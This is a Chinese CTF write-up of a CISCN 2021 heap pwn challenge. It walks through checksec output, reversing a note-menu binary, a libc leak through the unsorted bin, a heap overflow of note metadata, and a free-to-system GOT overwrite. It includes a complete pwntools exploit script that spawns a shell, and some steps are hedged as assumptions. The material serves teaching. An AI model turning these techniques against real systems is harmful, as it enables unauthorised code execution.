CISCN Pwn题深度解析:堆溢出与GOT覆写实战
1. 项目概述一次CTF Pwn赛题的深度复盘最近在整理过去的CTF比赛笔记翻到了2021年“全国大学生信息安全竞赛”CISCN西北赛区的一道Pwn题目。这道题当时卡住了不少选手其精巧的构造和隐蔽的利用点即使放在今天来看也颇具学习价值。它不是那种一眼就能看出漏洞的“签到题”而是需要你静下心来仔细分析程序逻辑、内存布局甚至要结合一些非常规的利用技巧才能打通。对于想从基础栈溢出过渡到更复杂利用场景的Pwn学习者来说这道题是一个绝佳的练手材料。简单来说这道题是一个Linux下的64位ELF二进制程序它模拟了一个简单的“笔记”管理功能。选手需要通过逆向分析找到程序中的漏洞并利用这些漏洞最终获取目标服务器上的flag。整个过程涉及到了对堆内存管理机制glibc malloc的深入理解、对程序逻辑缺陷的敏锐洞察以及如何将有限的漏洞条件串联起来形成一条完整的攻击链。接下来我将以第一人称视角带你完整复盘我从拿到二进制文件到最终写出利用脚本Exploit的全过程并重点分享其中容易踩坑的细节和调试技巧。2. 初探与逆向理清程序逻辑与漏洞点拿到题目第一步永远是信息收集。用file和checksec命令快速查看目标。$ file pwn pwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]xxxxxxxx, stripped $ checksec --filepwn Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)从结果看这是一个64位程序去除了符号表stripped这增加了逆向的难度。保护方面开启了栈溢出保护Canary和堆栈不可执行NX但没有开启地址随机化PIE并且是部分RELRO。这意味着全局偏移表GOT是可写的这通常是一个重要的攻击面。没有PIE使得代码和数据的地址在每次运行时都是固定的大大简化了利用过程。2.1 主功能逻辑逆向分析用IDA Pro打开进行静态分析。由于去除了符号我们需要从main函数开始通常位于start函数或__libc_start_main的参数中。分析后可以还原出以下主要功能菜单1. Add Note 2. Show Note 3. Edit Note 4. Delete Note 5. Exit这是一个典型的“堆菜单题”框架。我们需要逐一分析每个功能的实现。Add Note: 程序会先申请一个固定大小的结构体比如0x20字节来存储“笔记”的元信息如大小、内容指针。然后根据用户输入的大小再申请一块内存来存储实际的笔记内容。这里第一个关键点出现了程序对用户输入的大小没有进行有效的上限检查虽然可能有一个很大的数值限制如0x1000但它允许申请一个非常大的块例如0x200000这为后续的利用埋下了伏笔。Show Note: 根据索引打印对应笔记的内容。这里通常会检查索引有效性和该笔记是否已被释放free。Edit Note: 根据索引允许用户重新输入笔记内容。这里是漏洞的高发区。经过分析该功能在编辑时使用的是最初创建时指定的“大小”作为读取长度而不是根据当前内容块的实际大小或一个安全上限。这意味着如果我们在创建后通过某种方式修改了元信息中的“大小”字段那么在编辑时就可以实现堆溢出。Delete Note: 释放笔记的内容内存和元信息结构体并将指针置零看起来做了防重复释放Double Free的处理。2.2 关键漏洞定位经过细致的代码审计我发现了两个核心漏洞整数溢出导致堆溢出Heap Overflow在Add Note功能中虽然程序对申请大小有检查但检查逻辑可能存在缺陷。例如它可能只检查了大小是否小于某个最大值但没有检查当这个大小加上元信息结构体长度后是否会发生整数回绕Wrap Around。更关键的是在Edit Note功能中用于控制读取长度的“大小”值来源于我们最初创建时传入并保存在元信息结构体中的值。如果我们能篡改这个值将其改大那么在编辑时就能向堆块中写入超出其实际分配大小的数据造成溢出。Use-After-FreeUAF的潜在风险虽然Delete功能将指针置零但在某些复杂的交互序列下如果程序逻辑存在缺陷可能仍然会导致已释放的内存被访问。例如Show功能可能没有正确校验笔记状态。然而本题最精妙的地方在于单纯的堆溢出或UAF可能不足以直接获取shell因为保护齐全。我们需要找到一个“跳板”。这个跳板就是由于没有PIE我们可以精确知道GOT表的地址。结合部分RELROGOT可写我们的核心思路就变成了利用堆漏洞篡改某个函数的GOT表项将其指向我们控制的代码或system函数。3. 利用思路设计与堆风水规划有了漏洞和攻击目标GOT表下一步就是设计具体的利用路径。这道题的限制在于NX开启我们不能直接执行堆栈上的shellcodeCanary存在我们很难直接通过栈溢出来劫持控制流。因此堆利用是我们的唯一出路。3.1 利用链构造一个经典的利用链是堆溢出或UAF - 修改free函数的GOT表项 - 将其指向system函数 - 释放一个内容为/bin/sh的堆块 - 触发system(“/bin/sh”)。要实现这个链我们需要解决几个问题信息泄露Leak我们需要知道system函数在内存中的实际地址。这通常需要泄露libc的基地址。由于有Show功能如果存在信息泄露漏洞比如释放的堆块指针未清零Show时能打印出残留的libc地址我们就可以计算出system的地址。本题中这个泄露点通常隐藏在Delete和Show的某种组合利用中例如释放一个大的堆块进入unsorted bin其fd和bk指针会指向libc中的main_arena区域再通过Show这个未被完全清理的指针就能打印出libc地址。写任意地址Arbitrary Write我们需要将计算出的system地址写入到freegot.plt这个固定的地址例如0x602018。这需要通过堆漏洞来实现。一种常见的方法是利用unlink攻击或fastbin attack。但现代glibc对unlink的检查非常严格。更可行的方法是利用fastbin attack或largebin attack或者通过堆溢出篡改一个已被释放的fastbin块的fd指针使其指向目标地址如GOT表附近然后通过两次malloc第二次返回一个指向目标地址的假块进而向该地址写入数据。3.2 堆内存布局操控Heap Feng Shui这是利用成功的关键。我们需要像下棋一样精心安排堆块的申请和释放顺序让堆内存处于我们期望的布局状态以便漏洞能够被触发并达到预期效果。一个可能的布局步骤如下申请铺垫块先申请几个小笔记目的是分割堆空间让后续的布局更可控。制造泄露申请一个较大的笔记例如大小0x500然后将其删除。这个块因为较大不会进入fastbin而是进入unsorted bin。此时这个块的fd和bk指针位于块内容开始处会被写入main_arena的地址。由于Delete可能没有清空内容指针我们再次Show这个索引如果程序存在UAF就能打印出libc地址。注意在实际调试中需要确认Show功能是否真的会去读取那个已被释放的、包含libc地址的堆块内容。有时程序会检查状态需要绕过检查。构造攻击块我们需要两个相邻的、可被溢出的堆块。假设我们申请笔记A小和笔记B小。我们的目标是溢出A来覆盖B的元信息。触发溢出篡改元信息通过Edit笔记A利用整数溢出或大小篡改漏洞写入超长数据覆盖到笔记B的元信息结构体。我们将笔记B的“大小”字段改成一个非常大的值比如0xffffffff将其“内容指针”改成freegot.plt的地址。这样当我们Edit笔记B时程序会误以为笔记B指向一个巨大的内存区域起始地址是GOT表从而允许我们向GOT表写入数据。完成GOT覆写调用Edit笔记B这次写入的数据前8个字节就是我们计算好的system函数地址。这样freegot.plt就被覆盖成了system的地址。触发系统命令最后创建一个内容为字符串/bin/sh的笔记C然后调用Delete功能释放笔记C。此时程序会调用free(notes[C]-content)但由于free的GOT表项已被篡改实际执行的是system(notes[C]-content)也就是system(“/bin/sh”)从而获得shell。4. 动态调试与利用脚本编写思路清晰后就需要在动态调试中验证每一步并编写最终的利用脚本Exploit。我使用pwntools库和gdb进行交互调试。4.1 调试环境搭建与关键地址获取首先在本地用patchelf将题目二进制文件链接到与远程服务器相同版本的libc或者直接使用题目提供的libc文件。然后在脚本中启动进程并附加上gdb进行调试。from pwn import * context(os‘linux’, arch‘amd64’, log_level‘debug’) # p process(‘./pwn’) # 调试时 p gdb.debug(‘./pwn’, ‘b *0x400xxx\nc’) # 在关键函数下断点 elf ELF(‘./pwn’) libc ELF(‘./libc.so.6’) # 使用题目提供的libc free_got elf.got[‘free’] # 获取free函数的GOT表地址例如0x6020184.2 分步实现利用链下面是我的利用脚本的核心函数对应上述利用步骤def add_note(size, content): p.sendlineafter(b‘choice:’, b‘1’) p.sendlineafter(b‘size:’, str(size).encode()) p.sendafter(b‘content:’, content) def show_note(idx): p.sendlineafter(b‘choice:’, b‘2’) p.sendlineafter(b‘index:’, str(idx).encode()) def edit_note(idx, content): p.sendlineafter(b‘choice:’, b‘3’) p.sendlineafter(b‘index:’, str(idx).encode()) p.sendafter(b‘content:’, content) def delete_note(idx): p.sendlineafter(b‘choice:’, b‘4’) p.sendlineafter(b‘index:’, str(idx).encode()) # 1. 布局堆申请一些块 add_note(0x20, b‘A’*0x20) # idx0 add_note(0x20, b‘B’*0x20) # idx1 # 2. 制造libc地址泄露 add_note(0x500, b‘C’*0x500) # idx2 一个大块用于进入unsorted bin delete_note(2) # 这里假设存在UAFshow还能读到idx2的内容 show_note(2) # 接收泄露的数据并解析出libc地址 p.recvuntil(b‘Content: ‘) leak_data p.recv(6).ljust(8, b‘\x00’) libc_base u64(leak_data) - 0x3ebca0 # 这个偏移量需要根据libc版本和泄露的地址具体计算 system_addr libc_base libc.sym[‘system’] log.success(f“libc_base: {hex(libc_base)}“) log.success(f“system_addr: {hex(system_addr)}“) # 3. 清理现场重新布局因为释放了大块堆布局变了 # 可能需要再申请一些块来整理堆布局确保后面两个块相邻 add_note(0x30, b‘D’*0x30) # idx2 (new) # 4. 构造用于溢出的相邻块 add_note(0x20, b‘E’*0x20) # idx3 这是将被溢出的块A add_note(0x20, b‘F’*0x20) # idx4 这是目标块B # 5. 触发溢出覆盖idx4的元信息 # 假设我们通过逆向知道了元信息结构体的偏移 # 假设从idx3的内容区开始溢出0x20字节后正好是idx4的元信息区 # 我们需要覆盖将idx4的“大小”改大将“内容指针”改为free_got地址 fake_meta p64(0xffffffff) p64(free_got) # 假设结构体是 [size, ptr] payload b‘E’*0x20 fake_meta edit_note(3, payload) # 6. 现在编辑idx4实际是向free_got写入system地址 edit_note(4, p64(system_addr)) # 7. 创建/bin/sh字符串并触发 add_note(0x20, b‘/bin/sh\x00’) # idx5 delete_note(5) # 此时调用free实为system(“/bin/sh”) p.interactive()4.3 调试中的“坑”与技巧偏移计算脚本中的0x3ebca0等偏移量是main_arena与libc基址的偏移。这个值因libc版本而异如ubuntu 18.04与20.04不同。必须在自己的调试环境中通过vmmap和p/x main_arena等gdb命令计算确认。堆状态一致性在泄露libc地址后堆的状态已经改变。后续的布局必须考虑之前操作对堆的影响。有时需要故意申请和释放一些块来“整理”堆布局确保关键块处于预期位置。这需要反复调试和观察heap bins命令的输出。结构体偏移元信息结构体在内存中的精确布局例如是[size, ptr]还是[ptr, size]是否有其他字段必须通过逆向分析或动态调试来确认。一个错误就会导致覆盖错位利用失败。输入处理注意p.sendafter和p.sendlineafter的区别。发送内容时要留意程序是读满指定长度还是遇到换行符就停止。这会影响payload的构造。5. 常见问题排查与实战心得在实际操作和教学过程中我发现同学们在解这类题目时最容易在以下几个地方出错5.1 泄露阶段失败现象Show出来的数据是乱码或空无法解析出有效地址。排查确认用于泄露的堆块是否真的进入了unsorted bin大小大于fastbin上限。确认Delete后该索引的指针是否被程序置空。如果被置空Show功能可能会直接返回不会读取内容。需要寻找其他泄露方式例如利用堆溢出篡改其他块的状态或者利用fastbin块的fd指针指向堆地址可用于计算堆基址再通过其他方式泄露libc。确认接收数据时是否接收了正确的字节数。libc地址可能因为ASLR高位字节是\x00用recv(6)配合u64解析时要注意小端序和补齐。5.2 堆溢出覆盖未生效现象构造了溢出payload但调试发现目标堆块的元信息没有被修改。排查计算错误重新计算从源块内容起始到目标块元信息起始的精确偏移。使用gdb的heap命令或手动查看内存来验证。大小检查确认Edit功能是否真的使用了被我们篡改的“大小”字段。有可能程序在编辑前从元信息中读取了大小但还做了其他检查如是否超过某个全局最大值。堆布局不符你认为相邻的块A和块B在内存中可能并不相邻中间被其他管理结构或对齐空隙隔开了。需要在执行溢出前用heap命令仔细查看堆布局。5.3 GOT覆写后程序崩溃现象成功将system地址写入了GOT表但在调用free即system时程序崩溃如SIGSEGV。排查参数问题system函数的参数是一个字符串指针。我们调用free(ptr)时ptr会被当作system的参数。确保ptr即我们传入的/bin/sh字符串的地址是一个合法的、以\x00结尾的字符串地址。栈对齐在某些系统调用约定下如system内部可能调用execve栈指针需要满足16字节对齐。如果调用free时栈未对齐可能导致崩溃。这种情况在较老的题目或特定libc版本中更常见。解决方案通常是在ROP链中找一个ret指令来调整栈指针但本题是直接跳转如果遇到可能需要更复杂的利用链比如先劫持到one_gadgetlibc中一段能直接启动/bin/sh的汇编指令序列。libc版本差异本地和远程的libc版本不同导致system函数的内部实现或偏移有差异。务必使用题目提供的libc文件进行计算。5.4 实战心得与技巧画图辅助在纸上或白板上画出堆块布局、元信息结构、溢出覆盖的目标对于理清思路至关重要。标出每个块的索引、大小、内存地址和关键内容。分阶段测试不要试图一次性写出完整的exp。先写一段脚本只测试泄露功能是否成功。成功后再添加布局代码测试堆块是否按预期排列。接着测试溢出覆盖是否准确。最后再测试GOT覆写和命令执行。分段调试能快速定位问题阶段。善用调试命令heap bins查看所有bins的状态。heap chunks或heap -v查看所有堆块的详细信息。x/gx addr查看某个地址的8字节内容。vmmap查看内存映射区域确认libc加载基址。注意输入交互pwntools的send/sendline/sendafter要区分清楚。对于需要精确控制字节的payload使用sendafter或send。对于菜单选择通常使用sendlineafter。在脚本开发初期将context.log_level设为‘debug’可以清晰看到所有发送和接收的数据便于排查交互问题。这道CISCN2021西北赛区的Pwn题融合了堆漏洞利用中的多个经典元素信息泄露、堆布局操控、整数溢出/堆溢出、GOT表覆写。它要求解题者不仅要知道各种利用技术更要能灵活地将它们组合起来并具备扎实的调试能力。通过这样一道题的深入剖析和实战你对堆利用的理解一定会从“知道概念”上升到“能够实战”的层面。